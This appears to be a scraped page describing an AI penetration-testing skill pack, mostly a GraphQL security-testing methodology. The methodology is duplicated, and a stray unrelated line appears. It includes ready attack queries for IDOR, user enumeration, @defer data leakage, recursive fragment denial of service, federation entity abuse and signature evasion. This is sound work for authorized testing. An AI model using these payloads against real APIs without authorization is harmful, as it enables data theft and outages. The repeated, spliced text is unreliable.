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GraphQL security testing covering introspection, resolver injection, batching attacks, and authorization bypass
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Basado en la clasificación ocupacional SOC
Authorized AI penetration testing assistant for web applications, APIs, and infrastructure. Performs reconnaissance, vulnerability assessment, PoC validation, exploit chaining, and professional reporting. Use when the user asks for pentest, penetration test, security assessment, vulnerability scan, bug bounty research, authorized hacking, SQLi/XSS/IDOR/SSRF testing, API security audit, or exploit validation.
Authorized AI penetration testing for web apps, APIs, cloud, and infrastructure. Full kill-chain methodology with PoC validation, vulnerability chaining, and professional reporting. Triggers on: pentest, penetration test, security assessment, vuln scan, bug bounty, red team, authorized hack, SQL injection test, XSS test, IDOR, SSRF, API security, exploit validation, security audit.
Authorized AI penetration testing assistant — full-spectrum security testing with deep exploitation skills and integrated tooling. Use for web app pentests, API security, vuln validation, PoC development, bug bounty, and security assessments. Triggers on pentest, penetration test, security audit, exploit, SQLi, XSS, IDOR, SSRF.
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| name | graphql-security-testing |
| description | GraphQL security testing covering introspection, resolver injection, batching attacks, and authorization bypass |
penkit51 AI — professional penetration testing skill pack. Authorized testing only.
Security testing for GraphQL APIs. Focus on resolver-level authorization, field/edge access control, batching abuse, and federation trust boundaries.
Operations
Transports
application/json or application/graphqlSchema Features
__schema, __type)@defer, @stream, custom auth directives (@auth, @private)Architecture
_service, _entitiesEndpoint Discovery
POST /graphql {"query":"{__typename}"}
POST /api/graphql {"query":"{__typename}"}
POST /v1/graphql {"query":"{__typename}"}
POST /gql {"query":"{__typename}"}
GET /graphql?query={__typename}
Check for GraphiQL/Playground exposure with credentials enabled (cross-origin with cookies can leak data via postMessage bridges).
Schema Acquisition
If introspection enabled:
{__schema{types{name fields{name args{name}}}}}
If disabled, infer schema via:
__typename probes on candidate fieldsSchema Mapping
Map: root operations, object types, interfaces/unions, directives, custom scalars. Identify sensitive fields: email, tokens, roles, billing, API keys, admin flags, file URLs. Note cascade paths where child resolvers may skip auth under parent assumptions.
Field-Level IDOR
Test with aliases comparing owned vs foreign objects in single request:
query {
own: order(id:"OWNED_ID") { id total owner { email } }
foreign: order(id:"FOREIGN_ID") { id total owner { email } }
}
Edge/Child Resolver Gaps
Parent resolver checks auth, child resolver assumes it's already validated:
query {
user(id:"FOREIGN") {
id
privateData { secrets } # Child may skip auth check
}
}
Relay Node Resolution
Decode base64 global IDs, swap type/id pairs:
query {
node(id:"VXNlcjoxMjM=") { ... on User { email } }
}
Ensure per-type authorization is enforced inside resolvers. Verify connection filters (owner/tenant) apply before pagination; cursor tampering should not cross ownership boundaries.
Mutation Bypass
Enumeration via Aliases
query {
u1:user(id:"1"){email}
u2:user(id:"2"){email}
u3:user(id:"3"){email}
}
Bypasses per-request rate limits; exposes per-field vs per-request auth inconsistencies.
Array Batching
If supported (non-standard), submit multiple operations to achieve partial failures and bypass limits.
Type Confusion
{id: 123} vs {id: "123"}
{id: [123]} vs {id: null}
{id: 0} vs {id: -1}
Duplicate Keys
{"id": 1, "id": 2}
Parser precedence varies; may bypass validation. Also test default argument values.
Extra Fields
Send unexpected keys in input objects; backends may pass them to resolvers or downstream logic.
Decode cursors (usually base64) to:
@defer/@stream
query {
me { id }
... @defer { adminPanel { secrets } }
}
May return gated data in incremental delivery. Confirm server supports incremental delivery.
Custom Directives
@auth, @private and similar directives often annotate intent but do not enforce—verify actual checks in each resolver path.
Fragment Bombs
fragment x on User { friends { ...x } }
query { me { ...x } }
Test depth/complexity limits, query cost analyzers, timeouts.
Wide Selection Sets
Abuse selection sets and fragments to force overfetching of sensitive subfields.
SDL Exposure
query { _service { sdl } }
Entity Materialization
query {
_entities(representations:[
{__typename:"User", id:"TARGET_ID"}
]) { ... on User { email roles } }
}
Gateway may enforce auth; subgraph resolvers may not. Look for cross-subgraph IDOR via inconsistent ownership checks.
GraphQL multipart spec:
Query Reshaping
"""...""")application/graphqlFragment Splitting
Split fields across fragments and inline spreads to avoid naive signatures:
fragment a on User { email }
fragment b on User { password }
query { me { ...a ...b } }
Transport Switching
Content-Type: application/json
Content-Type: application/graphql
Content-Type: multipart/form-data
GET with query params
Timing & Rate Limits
Naming Tricks
Cache Confusion
_service and _entities for subgraph auth gaps_entities accessing data without subgraph authpenkit51 AI — professional penetration testing skill pack. Authorized testing only.
Security testing for GraphQL APIs. Focus on resolver-level authorization, field/edge access control, batching abuse, and federation trust boundaries.
Operations
Transports
application/json or application/graphqlSchema Features
__schema, __type)@defer, @stream, custom auth directives (@auth, @private)Architecture
_service, _entitiesEndpoint Discovery
POST /graphql {"query":"{__typename}"}
POST /api/graphql {"query":"{__typename}"}
POST /v1/graphql {"query":"{__typename}"}
POST /gql {"query":"{__typename}"}
GET /graphql?query={__typename}
Check for GraphiQL/Playground exposure with credentials enabled (cross-origin with cookies can leak data via postMessage bridges).
Schema Acquisition
If introspection enabled:
{__schema{types{name fields{name args{name}}}}}
If disabled, infer schema via:
__typename probes on candidate fieldsSchema Mapping
Map: root operations, object types, interfaces/unions, directives, custom scalars. Identify sensitive fields: email, tokens, roles, billing, API keys, admin flags, file URLs. Note cascade paths where child resolvers may skip auth under parent assumptions.
Field-Level IDOR
Test with aliases comparing owned vs foreign objects in single request:
query {
own: order(id:"OWNED_ID") { id total owner { email } }
foreign: order(id:"FOREIGN_ID") { id total owner { email } }
}
Edge/Child Resolver Gaps
Parent resolver checks auth, child resolver assumes it's already validated:
query {
user(id:"FOREIGN") {
id
privateData { secrets } # Child may skip auth check
}
}
Relay Node Resolution
Decode base64 global IDs, swap type/id pairs:
query {
node(id:"VXNlcjoxMjM=") { ... on User { email } }
}
Ensure per-type authorization is enforced inside resolvers. Verify connection filters (owner/tenant) apply before pagination; cursor tampering should not cross ownership boundaries.
Mutation Bypass
Enumeration via Aliases
query {
u1:user(id:"1"){email}
u2:user(id:"2"){email}
u3:user(id:"3"){email}
}
Bypasses per-request rate limits; exposes per-field vs per-request auth inconsistencies.
Array Batching
If supported (non-standard), submit multiple operations to achieve partial failures and bypass limits.
Type Confusion
{id: 123} vs {id: "123"}
{id: [123]} vs {id: null}
{id: 0} vs {id: -1}
Duplicate Keys
{"id": 1, "id": 2}
Parser precedence varies; may bypass validation. Also test default argument values.
Extra Fields
Send unexpected keys in input objects; backends may pass them to resolvers or downstream logic.
Decode cursors (usually base64) to:
@defer/@stream
query {
me { id }
... @defer { adminPanel { secrets } }
}
May return gated data in incremental delivery. Confirm server supports incremental delivery.
Custom Directives
@auth, @private and similar directives often annotate intent but do not enforce—verify actual checks in each resolver path.
Fragment Bombs
fragment x on User { friends { ...x } }
query { me { ...x } }
Test depth/complexity limits, query cost analyzers, timeouts.
Wide Selection Sets
Abuse selection sets and fragments to force overfetching of sensitive subfields.
SDL Exposure
query { _service { sdl } }
Entity Materialization
query {
_entities(representations:[
{__typename:"User", id:"TARGET_ID"}
]) { ... on User { email roles } }
}
Gateway may enforce auth; subgraph resolvers may not. Look for cross-subgraph IDOR via inconsistent ownership checks.
GraphQL multipart spec:
Query Reshaping
"""...""")application/graphqlFragment Splitting
Split fields across fragments and inline spreads to avoid naive signatures:
fragment a on User { email }
fragment b on User { password }
query { me { ...a ...b } }
Transport Switching
Content-Type: application/json
Content-Type: application/graphql
Content-Type: multipart/form-data
GET with query params
Timing & Rate Limits
Naming Tricks
Cache Confusion
_service and _entities for subgraph auth gaps_entities accessing data without subgraph authrecord_vulnerability when running inside the penkit51 platformrecord_vulnerability when running inside the penkit51 platform